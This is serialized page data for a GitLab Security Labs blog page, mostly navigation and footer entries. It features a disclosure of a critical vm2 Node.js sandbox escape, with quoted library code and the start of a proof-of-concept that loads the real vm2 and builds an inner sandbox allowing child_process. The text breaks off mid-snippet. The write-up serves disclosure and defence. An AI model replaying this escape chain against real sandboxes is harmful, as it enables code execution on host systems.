[{"data":1,"prerenderedAt":1734},["ShallowReactive",2],{"/blog/categories/security-labs/page/3":3,"navigation-en-us":21,"banner-en-us":444,"footer-en-us":454,"security-labs-category-page-total-items-en-us":714,"security-labs-category-page-featured-en-us":715,"security-labs-category-page-3-en-us":1726},{"id":4,"title":5,"body":6,"category":6,"config":7,"content":12,"description":6,"extension":14,"meta":15,"navigation":9,"path":16,"seo":17,"slug":6,"stem":19,"testContent":6,"type":6,"__hash__":20},"blogCategories/en-us/blog/categories/security-labs.yml","Security Labs",null,{"template":8,"isCustomCategory":9,"slug":10,"hide":11},"BlogCategory",true,"security-labs",false,{"name":5,"description":13},"Learn about cybersecurity trends, best practices, and third-party threats to secure your code and digital infrastructure.","yml",{},"/en-us/blog/categories/security-labs",{"title":5,"description":18},"Browse articles related to Security Labs on the GitLab Blog","en-us/blog/categories/security-labs","R7W9jD38ydCqWBR5-wSYze-Orc17_eSeMP_60gUwCVg",{"logo":22,"freeTrial":27,"sales":32,"login":37,"items":42,"search":363,"minimal":395,"duo":414,"switchNav":423,"pricingDeployment":434},{"config":23},{"href":24,"dataGaName":25,"dataGaLocation":26},"/","gitlab logo","header",{"text":28,"config":29},"Get free trial",{"href":30,"dataGaName":31,"dataGaLocation":26},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":33,"config":34},"Request a demo",{"href":35,"dataGaName":36,"dataGaLocation":26},"/sales/?contact-topic=request-demo&entry=nav","sales",{"text":38,"config":39},"Sign in",{"href":40,"dataGaName":41,"dataGaLocation":26},"https://gitlab.com/users/sign_in/","sign in",[43,119,207,212,287,341],{"text":44,"left":9,"config":45,"menu":47},"Platform",{"dataNavLevelOne":46},"platform",{"type":48,"link":49,"columns":53,"feature":108},"lists",{"text":50,"config":51},"Explore the Platform",{"href":52,"dataGaName":46,"dataGaLocation":26},"/platform/",[54,72,90],{"title":55,"items":56},"Execution & Workflows",[57,62,67],{"text":58,"config":59},"CI/CD",{"href":60,"dataGaLocation":26,"dataGaName":61},"/solutions/continuous-integration/","ci/cd",{"text":63,"config":64},"Source Code Management",{"href":65,"dataGaLocation":26,"dataGaName":66},"/solutions/source-code-management/","source code management",{"text":68,"config":69},"Agile Delivery",{"href":70,"dataGaLocation":26,"dataGaName":71},"/solutions/agile-delivery/","agile delivery",{"title":73,"items":74},"Security & Governance",[75,80,85],{"text":76,"config":77},"Application Security Testing",{"href":78,"dataGaLocation":26,"dataGaName":79},"/solutions/application-security-testing/","application security testing",{"text":81,"config":82},"Governance & Compliance",{"href":83,"dataGaLocation":26,"dataGaName":84},"/solutions/software-compliance/","governance and compliance",{"text":86,"config":87},"Supply Chain Security",{"href":88,"dataGaLocation":26,"dataGaName":89},"/solutions/supply-chain/","supply chain security",{"title":91,"items":92},"Context & AI",[93,98,103],{"text":94,"config":95},"Agentic Orchestration",{"href":96,"dataGaLocation":26,"dataGaName":97},"/gitlab-duo-agent-platform/","agentic orchestration",{"text":99,"config":100},"Context Graph",{"href":101,"dataGaLocation":26,"dataGaName":102},"/gitlab-orbit/","context graph",{"text":104,"config":105},"Visibility & Measurement",{"href":106,"dataGaLocation":26,"dataGaName":107},"/solutions/visibility-measurement/","visibility and measurement",{"config":109,"title":112,"text":113,"link":114},{"background":110,"textColor":111},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","Why GitLab","One platform for speed with control across your software lifecycle.",{"text":115,"config":116},"Learn more",{"href":117,"dataGaName":118,"dataGaLocation":26},"/why-gitlab/","why gitlab",{"text":120,"left":9,"config":121,"menu":123},"Solutions",{"dataNavLevelOne":122},"solutions",{"type":48,"link":124,"columns":128,"feature":198},{"text":125,"config":126},"View all Solutions",{"href":127,"dataGaName":122,"dataGaLocation":26},"/solutions/",[129,147,165],{"title":130,"items":131},"Outcomes",[132,137,142],{"text":133,"config":134},"DevOps Modernization",{"href":135,"dataGaLocation":26,"dataGaName":136},"/assessments/devops-modernization-assessment/","devops modernization",{"text":138,"config":139},"Security Modernization",{"href":140,"dataGaLocation":26,"dataGaName":141},"/assessments/security-modernization-assessment/","security modernization",{"text":143,"config":144},"AI Modernization",{"href":145,"dataGaLocation":26,"dataGaName":146},"/assessments/ai-modernization-assessment/","ai modernization",{"title":148,"items":149},"By size",[150,155,160],{"text":151,"config":152},"Enterprise",{"href":153,"dataGaLocation":26,"dataGaName":154},"/enterprise/","enterprise",{"text":156,"config":157},"Small Business",{"href":158,"dataGaLocation":26,"dataGaName":159},"/small-business/","small business",{"text":161,"config":162},"Startups",{"href":163,"dataGaLocation":26,"dataGaName":164},"/solutions/startups/","startups",{"title":166,"items":167},"Industries",[168,173,178,183,188,193],{"text":169,"config":170},"Financial Services",{"href":171,"dataGaLocation":26,"dataGaName":172},"/solutions/finance/","financial services",{"text":174,"config":175},"Public Sector",{"href":176,"dataGaLocation":26,"dataGaName":177},"/solutions/public-sector/","public sector",{"text":179,"config":180},"Telecommunications",{"href":181,"dataGaLocation":26,"dataGaName":182},"/solutions/telecommunications/","telecommunications",{"text":184,"config":185},"Automotive",{"href":186,"dataGaLocation":26,"dataGaName":187},"/solutions/automotive/","automotive",{"text":189,"config":190},"Education",{"href":191,"dataGaLocation":26,"dataGaName":192},"/solutions/education/","education",{"text":194,"config":195},"Aerospace",{"href":196,"dataGaLocation":26,"dataGaName":197},"/solutions/aerospace/","aerospace",{"config":199,"title":200,"text":201,"link":202},{"background":110,"textColor":111},"GitLab Transcend","Catch our latest innovations announced at the last Transcend.",{"text":203,"config":204},"Read the blog",{"href":205,"dataGaName":206,"dataGaLocation":26},"/blog/gitlab-transcend-announcements/","gitlab transcend",{"text":208,"config":209},"Pricing",{"href":210,"dataGaName":211,"dataGaLocation":26,"dataNavLevelOne":211},"/pricing/","pricing",{"text":213,"config":214,"menu":216},"Resources",{"dataNavLevelOne":215},"resources",{"type":48,"link":217,"columns":221,"feature":278},{"text":218,"config":219},"View all resources",{"href":220,"dataGaName":215,"dataGaLocation":26},"/resources/",[222,250],{"title":223,"items":224},"Discover",[225,230,235,240,245],{"text":226,"config":227},"Docs",{"href":228,"dataGaName":229,"dataGaLocation":26},"https://docs.gitlab.com/","docs",{"text":231,"config":232},"University",{"href":233,"dataGaName":234,"dataGaLocation":26},"https://university.gitlab.com/","university",{"text":236,"config":237},"Demo Series",{"href":238,"dataGaName":239,"dataGaLocation":26},"/gitlab-technical-demo-series/","demo series",{"text":241,"config":242},"Demo Hub",{"href":243,"dataGaName":244,"dataGaLocation":26},"/demo-hub/","demo hub",{"text":246,"config":247},"Services",{"href":248,"dataGaName":249,"dataGaLocation":26},"/services/","services",{"title":251,"items":252},"Connect",[253,258,263,268,273],{"text":254,"config":255},"Blog",{"href":256,"dataGaName":257,"dataGaLocation":26},"/blog/","blog",{"text":259,"config":260},"Community",{"href":261,"dataGaName":262,"dataGaLocation":26},"/community/","community",{"text":264,"config":265},"Customers",{"href":266,"dataGaName":267,"dataGaLocation":26},"/customers/","customers",{"text":269,"config":270},"Partners",{"href":271,"dataGaName":272,"dataGaLocation":26},"/partners/","partners",{"text":274,"config":275},"Events",{"href":276,"dataGaName":277,"dataGaLocation":26},"/events/","events",{"config":279,"title":280,"text":281,"link":282},{"background":110,"textColor":111},"What’s new in GitLab","Stay updated with our latest features and improvements.",{"text":283,"config":284},"Read the latest",{"href":285,"dataGaName":286,"dataGaLocation":26},"/whats-new/","whats new",{"text":288,"config":289,"menu":291},"Company",{"dataNavLevelOne":290},"company",{"type":48,"columns":292},[293],{"items":294},[295,300,306,311,316,321,326,331,336],{"text":296,"config":297},"About",{"href":298,"dataGaName":299,"dataGaLocation":26},"/company/","about",{"text":301,"config":302,"footerGa":305},"Jobs",{"href":303,"dataGaName":304,"dataGaLocation":26},"/jobs/","jobs",{"dataGaName":304},{"text":307,"config":308},"Press",{"href":309,"dataGaName":310,"dataGaLocation":26},"/press/","press",{"text":312,"config":313},"Handbook",{"href":314,"dataGaName":315,"dataGaLocation":26},"https://handbook.gitlab.com/","handbook",{"text":317,"config":318},"Leadership",{"href":319,"dataGaName":320,"dataGaLocation":26},"/company/team/e-group/","leadership",{"text":322,"config":323},"Investor relations",{"href":324,"dataGaName":325,"dataGaLocation":26},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":327,"config":328},"Trust Center",{"href":329,"dataGaName":330,"dataGaLocation":26},"/security/","trust center",{"text":332,"config":333},"AI Transparency Center",{"href":334,"dataGaName":335,"dataGaLocation":26},"/ai-transparency-center/","ai transparency center",{"text":337,"config":338},"Newsletter",{"href":339,"dataGaName":340,"dataGaLocation":26},"/company/contact/#contact-forms","newsletter",{"text":342,"config":343,"menu":344},"Contact us",{"dataNavLevelOne":290},{"type":48,"columns":345},[346],{"items":347},[348,353,358],{"text":349,"config":350},"Talk to sales",{"href":351,"dataGaName":352,"dataGaLocation":26},"/sales/","talk to sales",{"text":354,"config":355},"Support portal",{"href":356,"dataGaName":357,"dataGaLocation":26},"https://support.gitlab.com/hc/en-us","support portal",{"text":359,"config":360},"Customer portal",{"href":361,"dataGaName":362,"dataGaLocation":26},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":364,"login":365,"suggestions":372},"Close",{"text":366,"link":367},"To search repositories and projects, login to",{"text":368,"config":369},"gitlab.com",{"href":40,"dataGaName":370,"dataGaLocation":371},"search login","search",{"text":373,"default":374},"Suggestions",[375,378,382,384,388,392],{"text":376,"config":377},"GitLab Duo Agent Platform",{"href":96,"dataGaName":376,"dataGaLocation":371},{"text":379,"config":380},"Code Suggestions (AI)",{"href":381,"dataGaName":379,"dataGaLocation":371},"/solutions/code-suggestions/",{"text":58,"config":383},{"href":60,"dataGaName":58,"dataGaLocation":371},{"text":385,"config":386},"GitLab on AWS",{"href":387,"dataGaName":385,"dataGaLocation":371},"/partners/technology-partners/aws/",{"text":389,"config":390},"GitLab on Google Cloud",{"href":391,"dataGaName":389,"dataGaLocation":371},"/partners/technology-partners/google-cloud-platform/",{"text":393,"config":394},"Why GitLab?",{"href":117,"dataGaName":393,"dataGaLocation":371},{"freeTrial":396,"mobileIcon":401,"desktopIcon":406,"secondaryButton":409},{"text":397,"config":398},"Start free trial",{"href":399,"dataGaName":31,"dataGaLocation":400},"https://gitlab.com/-/trials/new/","nav",{"altText":402,"config":403},"Gitlab Icon",{"src":404,"dataGaName":405,"dataGaLocation":400},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":402,"config":407},{"src":408,"dataGaName":405,"dataGaLocation":400},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":410,"config":411},"Get Started",{"href":412,"dataGaName":413,"dataGaLocation":400},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/get-started/","get started",{"freeTrial":415,"mobileIcon":419,"desktopIcon":421},{"text":416,"config":417},"Learn more about GitLab Duo",{"href":96,"dataGaName":418,"dataGaLocation":400},"gitlab duo",{"altText":402,"config":420},{"src":404,"dataGaName":405,"dataGaLocation":400},{"altText":402,"config":422},{"src":408,"dataGaName":405,"dataGaLocation":400},{"button":424,"mobileIcon":429,"desktopIcon":431},{"text":425,"config":426},"/switch",{"href":427,"dataGaName":428,"dataGaLocation":400},"#contact","switch",{"altText":402,"config":430},{"src":404,"dataGaName":405,"dataGaLocation":400},{"altText":402,"config":432},{"src":433,"dataGaName":405,"dataGaLocation":400},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":435,"mobileIcon":440,"desktopIcon":442},{"text":436,"config":437},"Back to pricing",{"href":210,"dataGaName":438,"dataGaLocation":400,"icon":439},"back to pricing","GoBack",{"altText":402,"config":441},{"src":404,"dataGaName":405,"dataGaLocation":400},{"altText":402,"config":443},{"src":408,"dataGaName":405,"dataGaLocation":400},{"title":445,"button":446,"config":452},"Ship at agent speed. Prove every step. Transcend returns on October 6.",{"text":447,"config":448},"Register now",{"href":449,"dataGaName":450,"dataGaLocation":451},"/events/transcend/virtual/#register","transcend-october-2026-banner","global-banner",{"layout":453,"disabled":11},"release",{"data":455},{"text":456,"source":457,"edit":463,"contribute":468,"config":473,"items":478,"minimal":703},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":458,"config":459},"View page source",{"href":460,"dataGaName":461,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":464,"config":465},"Edit this page",{"href":466,"dataGaName":467,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":469,"config":470},"Please contribute",{"href":471,"dataGaName":472,"dataGaLocation":462},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":474,"facebook":475,"youtube":476,"linkedin":477},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[479,526,582,630,671],{"title":208,"links":480,"subMenu":495},[481,485,490],{"text":482,"config":483},"View plans",{"href":210,"dataGaName":484,"dataGaLocation":462},"view plans",{"text":486,"config":487},"Why Premium?",{"href":488,"dataGaName":489,"dataGaLocation":462},"/pricing/premium/","why premium",{"text":491,"config":492},"Why Ultimate?",{"href":493,"dataGaName":494,"dataGaLocation":462},"/pricing/ultimate/","why ultimate",[496],{"title":497,"links":498},"Contact Us",[499,502,504,506,511,516,521],{"text":500,"config":501},"Contact sales",{"href":351,"dataGaName":36,"dataGaLocation":462},{"text":354,"config":503},{"href":356,"dataGaName":357,"dataGaLocation":462},{"text":359,"config":505},{"href":361,"dataGaName":362,"dataGaLocation":462},{"text":507,"config":508},"Status",{"href":509,"dataGaName":510,"dataGaLocation":462},"https://status.gitlab.com/","status",{"text":512,"config":513},"Terms of use",{"href":514,"dataGaName":515,"dataGaLocation":462},"/terms/","terms of use",{"text":517,"config":518},"Privacy statement",{"href":519,"dataGaName":520,"dataGaLocation":462},"/privacy/","privacy statement",{"text":522,"config":523},"Cookie preferences",{"dataGaName":524,"dataGaLocation":462,"id":525,"isOneTrustButton":9},"cookie preferences","ot-sdk-btn",{"title":44,"links":527,"subMenu":539},[528,531,533,535,537],{"text":529,"config":530},"Explore the platform",{"href":52,"dataGaName":46,"dataGaLocation":462},{"text":94,"config":532},{"href":96,"dataGaName":97,"dataGaLocation":462},{"text":58,"config":534},{"href":60,"dataGaName":61,"dataGaLocation":462},{"text":99,"config":536},{"href":101,"dataGaName":102,"dataGaLocation":462},{"text":112,"config":538},{"href":117,"dataGaName":118,"dataGaLocation":462},[540],{"title":541,"links":542},"Topics",[543,547,552,557,562,567,572,577],{"text":58,"config":544},{"href":545,"dataGaName":546,"dataGaLocation":462},"/topics/ci-cd/","cicd",{"text":548,"config":549},"GitOps",{"href":550,"dataGaName":551,"dataGaLocation":462},"/topics/gitops/","gitops",{"text":553,"config":554},"DevOps",{"href":555,"dataGaName":556,"dataGaLocation":462},"/topics/devops/","devops",{"text":558,"config":559},"Version Control",{"href":560,"dataGaName":561,"dataGaLocation":462},"/topics/version-control/","version control",{"text":563,"config":564},"DevSecOps",{"href":565,"dataGaName":566,"dataGaLocation":462},"/topics/devsecops/","devsecops",{"text":568,"config":569},"Cloud Native",{"href":570,"dataGaName":571,"dataGaLocation":462},"/topics/cloud-native/","cloud native",{"text":573,"config":574},"AI for Coding",{"href":575,"dataGaName":576,"dataGaLocation":462},"/topics/devops/ai-for-coding/","ai for coding",{"text":578,"config":579},"Agentic AI",{"href":580,"dataGaName":581,"dataGaLocation":462},"/topics/agentic-ai/","agentic ai",{"title":120,"links":583},[584,587,590,593,596,599,601,603,605,607,609,612,614,617,621,626],{"text":585,"config":586},"DevOps modernization",{"href":135,"dataGaName":136,"dataGaLocation":462},{"text":588,"config":589},"Security modernization",{"href":140,"dataGaName":141,"dataGaLocation":462},{"text":591,"config":592},"AI modernization",{"href":145,"dataGaName":146,"dataGaLocation":462},{"text":594,"config":595},"Financial services",{"href":171,"dataGaName":172,"dataGaLocation":462},{"text":597,"config":598},"Public sector",{"href":176,"dataGaName":177,"dataGaLocation":462},{"text":179,"config":600},{"href":181,"dataGaName":182,"dataGaLocation":462},{"text":184,"config":602},{"href":186,"dataGaName":187,"dataGaLocation":462},{"text":189,"config":604},{"href":191,"dataGaName":192,"dataGaLocation":462},{"text":194,"config":606},{"href":196,"dataGaName":197,"dataGaLocation":462},{"text":151,"config":608},{"href":153,"dataGaName":154,"dataGaLocation":462},{"text":610,"config":611},"Small business",{"href":158,"dataGaName":159,"dataGaLocation":462},{"text":161,"config":613},{"href":163,"dataGaName":164,"dataGaLocation":462},{"text":548,"config":615},{"href":616,"dataGaName":551,"dataGaLocation":462},"/solutions/gitops/",{"text":618,"config":619},"Software composition analysis",{"href":88,"dataGaName":620,"dataGaLocation":462},"software composition analysis",{"text":622,"config":623},"Value stream management",{"href":624,"dataGaName":625,"dataGaLocation":462},"/solutions/value-stream-management/","value stream management",{"text":627,"config":628},"All solutions",{"href":127,"dataGaName":629,"dataGaLocation":462},"all solutions",{"title":213,"links":631},[632,637,642,644,646,648,650,652,654,656,658,660,662,664,667],{"text":633,"config":634},"Install",{"href":635,"dataGaName":636,"dataGaLocation":462},"/install/","install",{"text":638,"config":639},"Quick start guides",{"href":640,"dataGaName":641,"dataGaLocation":462},"/get-started/","quick setup checklists",{"text":226,"config":643},{"href":228,"dataGaName":229,"dataGaLocation":462},{"text":231,"config":645},{"href":233,"dataGaName":234,"dataGaLocation":462},{"text":236,"config":647},{"href":238,"dataGaName":239,"dataGaLocation":462},{"text":241,"config":649},{"href":243,"dataGaName":244,"dataGaLocation":462},{"text":246,"config":651},{"href":248,"dataGaName":249,"dataGaLocation":462},{"text":254,"config":653},{"href":256,"dataGaName":257,"dataGaLocation":462},{"text":259,"config":655},{"href":261,"dataGaName":262,"dataGaLocation":462},{"text":264,"config":657},{"href":266,"dataGaName":267,"dataGaLocation":462},{"text":269,"config":659},{"href":271,"dataGaName":272,"dataGaLocation":462},{"text":274,"config":661},{"href":276,"dataGaName":277,"dataGaLocation":462},{"text":337,"config":663},{"href":339,"dataGaName":340,"dataGaLocation":462},{"text":665,"config":666},"What's new",{"href":285,"dataGaName":286,"dataGaLocation":462},{"text":668,"config":669},"All resources",{"href":220,"dataGaName":670,"dataGaLocation":462},"all resources",{"title":288,"links":672},[673,675,677,679,681,683,685,687,689,693,698],{"text":296,"config":674},{"href":298,"dataGaName":290,"dataGaLocation":462},{"text":301,"config":676},{"href":303,"dataGaName":304,"dataGaLocation":462},{"text":307,"config":678},{"href":309,"dataGaName":310,"dataGaLocation":462},{"text":312,"config":680},{"href":314,"dataGaName":315,"dataGaLocation":462},{"text":317,"config":682},{"href":319,"dataGaName":320,"dataGaLocation":462},{"text":322,"config":684},{"href":324,"dataGaName":325,"dataGaLocation":462},{"text":327,"config":686},{"href":329,"dataGaName":330,"dataGaLocation":462},{"text":332,"config":688},{"href":334,"dataGaName":335,"dataGaLocation":462},{"text":690,"config":691},"Sustainability",{"href":692,"dataGaName":690,"dataGaLocation":462},"/sustainability/",{"text":694,"config":695},"Diversity, inclusion and belonging (DIB)",{"href":696,"dataGaName":697,"dataGaLocation":462},"/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":699,"config":700},"Modern Slavery Transparency Statement",{"href":701,"dataGaName":702,"dataGaLocation":462},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":704},[705,708,711],{"text":706,"config":707},"Terms",{"href":514,"dataGaName":515,"dataGaLocation":462},{"text":709,"config":710},"Cookies",{"dataGaName":524,"dataGaLocation":462,"id":525,"isOneTrustButton":9},{"text":712,"config":713},"Privacy",{"href":519,"dataGaName":520,"dataGaLocation":462},20,{"id":716,"title":717,"authors":718,"body":721,"category":10,"date":1712,"description":1713,"extension":1714,"externalUrl":6,"faq":6,"featured":11,"heroImage":1715,"meta":1716,"navigation":9,"path":1717,"seo":1718,"slug":1720,"stem":1721,"tags":1722,"template":1724,"updatedDate":6,"__hash__":1725},"blogPosts/en-us/blog/critical-remote-code-execution-in-vm2.md","Critical remote code execution in vm2, a widely used Node.js sandbox library",[719,720],"Abisheik Magesh","Daniel Abeles",{"type":722,"value":723,"toc":1702},"minimark",[724,733,740,743,766,769,774,785,788,792,803,864,889,896,1031,1048,1146,1152,1246,1253,1274,1285,1288,1371,1375,1394,1404,1410,1496,1502,1505,1513,1522,1526,1529,1542,1545,1570,1574,1595,1610,1614,1672,1675,1679,1691,1695,1698],[725,726,727,728,732],"p",{},"GitLab's Threat Research Group found a critical sandbox escape vulnerability in vm2, one of the most widely adopted Node.js sandboxing libraries. The vulnerability uses a configuration copied straight from vm2's own README. We found the flaw, rated CVSS 3.1: 10.0, critical, using our own AI automated tools. Anyone running vm2 Version 3.11.6 or earlier with ",[729,730,731],"code",{},"require.external"," turned on should treat this as directly exploitable.",[725,734,735,739],{},[736,737,738],"strong",{},"Once we found the vulnerability, we verified GitLab does not use vm2."," We also reported it privately to vm2 and the maintainer fixed it fast, in vm2 Version 3.11.7. When we tested that fix again, it blocked the exact attack we reported.",[725,741,742],{},"For anyone relying on vm2, it’s worth flagging that there's a broader configuration risk here that goes beyond this one patch, based on the maintainer's own description of the fix.",[744,745,746,751,754,757,760,763],"blockquote",{},[725,747,748],{},[736,749,750],{},"TL;DR",[725,752,753],{},"Critical vulnerability: GitLab's Threat Research Group discovered a critical sandbox escape (CVSS 3.1: 10.0) in vm2, a widely used Node.js sandboxing library, which allows for remote code execution.",[725,755,756],{},"The root cause: The vulnerability stems from default configurations found in the library's own \"Quick Examples\" README, where the sandbox fails to properly isolate itself from the host system, allowing malicious code to gain unrestricted access.",[725,758,759],{},"Fix limitations: While updating to Version 3.11.7 blocks the specific attack reported, it does not fully resolve the underlying configuration risk; developers remain vulnerable if they continue to use require.external with overly broad require.root settings.",[725,761,762],{},"Immediate recommendations: Users should update to Version 3.11.7, but must also manually harden their configurations by restricting require.root to only necessary files and setting context: 'sandbox' instead of relying on the default 'host' setting.",[725,764,765],{},"Long-term advice: Due to vm2's history of recurring sandbox escape bugs, it is recommended to avoid using it for isolating truly untrusted code and instead opt for more robust methods like containers or separate processes.",[767,768],"br",{},[770,771,773],"h2",{"id":772},"why-sandboxing-libraries-are-a-high-value-target","Why sandboxing libraries are a high-value target",[725,775,776,777,780,781,784],{},"Apps that run code they don't fully trust (plugin systems, coding playgrounds, CI test runners, and now tools that let an AI run its own generated code) can't just hand that code to Node's normal ",[729,778,779],{},"require()"," and ",[729,782,783],{},"eval()"," functions. If they did, the code would have the same power as the app itself.",[725,786,787],{},"vm2 is built to close that gap. It gives the untrusted code a fake version of a normal JavaScript environment, and blocks anything that tries to reach the real system underneath. But if an attacker can break out of that sandbox, none of that protection is real, even though it still looks fine to the developer who installed vm2. And because so many apps use vm2, one hole in it becomes a hole in every app built on it.",[770,789,791],{"id":790},"how-the-vulnerability-works","How the vulnerability works",[725,793,794,795,798,799,802],{},"vm2's ",[729,796,797],{},"NodeVM"," has a ",[729,800,801],{},"require"," option that controls whether the sandboxed code can load modules outside JavaScript's built-in ones. Here's the first example from vm2's own README, under \"Quick Examples\":",[804,805,810],"pre",{"className":806,"code":807,"language":808,"meta":809,"style":809},"language-javascript shiki shiki-themes github-light","const vm = new NodeVM({\n  require: { external: true, root: './' },\n});\n","javascript","",[729,811,812,839,858],{"__ignoreMap":809},[813,814,817,821,825,828,831,835],"span",{"class":815,"line":816},"line",1,[813,818,820],{"class":819},"sD7c4","const",[813,822,824],{"class":823},"sYu0t"," vm",[813,826,827],{"class":819}," =",[813,829,830],{"class":819}," new",[813,832,834],{"class":833},"s7eDp"," NodeVM",[813,836,838],{"class":837},"sgsFI","({\n",[813,840,842,845,848,851,855],{"class":815,"line":841},2,[813,843,844],{"class":837},"  require: { external: ",[813,846,847],{"class":823},"true",[813,849,850],{"class":837},", root: ",[813,852,854],{"class":853},"sYBdl","'./'",[813,856,857],{"class":837}," },\n",[813,859,861],{"class":815,"line":860},3,[813,862,863],{"class":837},"});\n",[725,865,866,869,870,872,873,876,877,880,881,884,885,888],{},[729,867,868],{},"external: true"," lets the sandboxed code call ",[729,871,779],{}," on outside files. ",[729,874,875],{},"root"," is supposed to limit that to one safe folder. But in a normal npm project, ",[729,878,879],{},"./node_modules",", which includes vm2's own installed copy of itself, sits inside ",[729,882,883],{},"./",". So ",[729,886,887],{},"root: './'"," looks like a safety rule, but it doesn't actually keep vm2 out.",[725,890,891,892,895],{},"Two default settings in ",[729,893,894],{},"lib/resolver-compat.js"," turn that gap into full code execution:",[804,897,899],{"className":806,"code":898,"language":808,"meta":809,"style":809},"const {\n  external: externalOpt,\n  root: rootPaths,\n  context = 'host',   // defaults to 'host'\n  ...\n} = options;\n\nisPathAllowed(filename) {\n  if (this.rootPaths === undefined) return true;\n  // otherwise: is filename inside rootPaths?\n}\n",[729,900,901,908,923,935,953,959,971,977,986,1019,1025],{"__ignoreMap":809},[813,902,903,905],{"class":815,"line":816},[813,904,820],{"class":819},[813,906,907],{"class":837}," {\n",[813,909,910,914,917,920],{"class":815,"line":841},[813,911,913],{"class":912},"sqxcx","  external",[813,915,916],{"class":837},": ",[813,918,919],{"class":823},"externalOpt",[813,921,922],{"class":837},",\n",[813,924,925,928,930,933],{"class":815,"line":860},[813,926,927],{"class":912},"  root",[813,929,916],{"class":837},[813,931,932],{"class":823},"rootPaths",[813,934,922],{"class":837},[813,936,938,941,943,946,949],{"class":815,"line":937},4,[813,939,940],{"class":823},"  context",[813,942,827],{"class":819},[813,944,945],{"class":853}," 'host'",[813,947,948],{"class":837},",   ",[813,950,952],{"class":951},"sAwPA","// defaults to 'host'\n",[813,954,956],{"class":815,"line":955},5,[813,957,958],{"class":837},"  ...\n",[813,960,962,965,968],{"class":815,"line":961},6,[813,963,964],{"class":837},"} ",[813,966,967],{"class":819},"=",[813,969,970],{"class":837}," options;\n",[813,972,974],{"class":815,"line":973},7,[813,975,976],{"emptyLinePlaceholder":9},"\n",[813,978,980,983],{"class":815,"line":979},8,[813,981,982],{"class":833},"isPathAllowed",[813,984,985],{"class":837},"(filename) {\n",[813,987,989,992,995,998,1001,1004,1007,1010,1013,1016],{"class":815,"line":988},9,[813,990,991],{"class":819},"  if",[813,993,994],{"class":837}," (",[813,996,997],{"class":823},"this",[813,999,1000],{"class":837},".rootPaths ",[813,1002,1003],{"class":819},"===",[813,1005,1006],{"class":823}," undefined",[813,1008,1009],{"class":837},") ",[813,1011,1012],{"class":819},"return",[813,1014,1015],{"class":823}," true",[813,1017,1018],{"class":837},";\n",[813,1020,1022],{"class":815,"line":1021},10,[813,1023,1024],{"class":951},"  // otherwise: is filename inside rootPaths?\n",[813,1026,1028],{"class":815,"line":1027},11,[813,1029,1030],{"class":837},"}\n",[725,1032,1033,1036,1037,1040,1041,1044,1045,1047],{},[729,1034,1035],{},"require('./node_modules/vm2')"," passes the check, because that path is inside the root. And because ",[729,1038,1039],{},"context"," defaults to ",[729,1042,1043],{},"'host'",", the file loads through Node's real, unsandboxed ",[729,1046,779],{},", instead of vm2's own loader:",[804,1049,1051],{"className":806,"code":1050,"language":808,"meta":809,"style":809},"loadJS(vm, mod, filename) {\n  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);\n  const m = this.hostRequire(filename);   // real Node.js require()\n  mod.exports = vm.readonly(m);\n}\n",[729,1052,1053,1061,1102,1126,1142],{"__ignoreMap":809},[813,1054,1055,1058],{"class":815,"line":816},[813,1056,1057],{"class":833},"loadJS",[813,1059,1060],{"class":837},"(vm, mod, filename) {\n",[813,1062,1063,1065,1067,1069,1072,1075,1078,1081,1083,1086,1088,1090,1092,1095,1097,1099],{"class":815,"line":841},[813,1064,991],{"class":819},[813,1066,994],{"class":837},[813,1068,997],{"class":823},[813,1070,1071],{"class":837},".",[813,1073,1074],{"class":833},"pathContext",[813,1076,1077],{"class":837},"(filename, ",[813,1079,1080],{"class":853},"'js'",[813,1082,1009],{"class":837},[813,1084,1085],{"class":819},"!==",[813,1087,945],{"class":853},[813,1089,1009],{"class":837},[813,1091,1012],{"class":819},[813,1093,1094],{"class":823}," super",[813,1096,1071],{"class":837},[813,1098,1057],{"class":833},[813,1100,1101],{"class":837},"(vm, mod, filename);\n",[813,1103,1104,1107,1110,1112,1115,1117,1120,1123],{"class":815,"line":860},[813,1105,1106],{"class":819},"  const",[813,1108,1109],{"class":823}," m",[813,1111,827],{"class":819},[813,1113,1114],{"class":823}," this",[813,1116,1071],{"class":837},[813,1118,1119],{"class":833},"hostRequire",[813,1121,1122],{"class":837},"(filename);   ",[813,1124,1125],{"class":951},"// real Node.js require()\n",[813,1127,1128,1131,1133,1136,1139],{"class":815,"line":937},[813,1129,1130],{"class":837},"  mod.exports ",[813,1132,967],{"class":819},[813,1134,1135],{"class":837}," vm.",[813,1137,1138],{"class":833},"readonly",[813,1140,1141],{"class":837},"(m);\n",[813,1143,1144],{"class":815,"line":955},[813,1145,1030],{"class":837},[725,1147,1148,1149,1151],{},"At that point the sandboxed code isn't holding a limited, wrapped copy of vm2. It's holding the real thing, with full power. It uses that real copy to start a second ",[729,1150,797],{},", with rules it sets itself:",[804,1153,1155],{"className":806,"code":1154,"language":808,"meta":809,"style":809},"const real = require('./node_modules/vm2');\nconst inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });\nmodule.exports = inner.run(\n  \"module.exports = 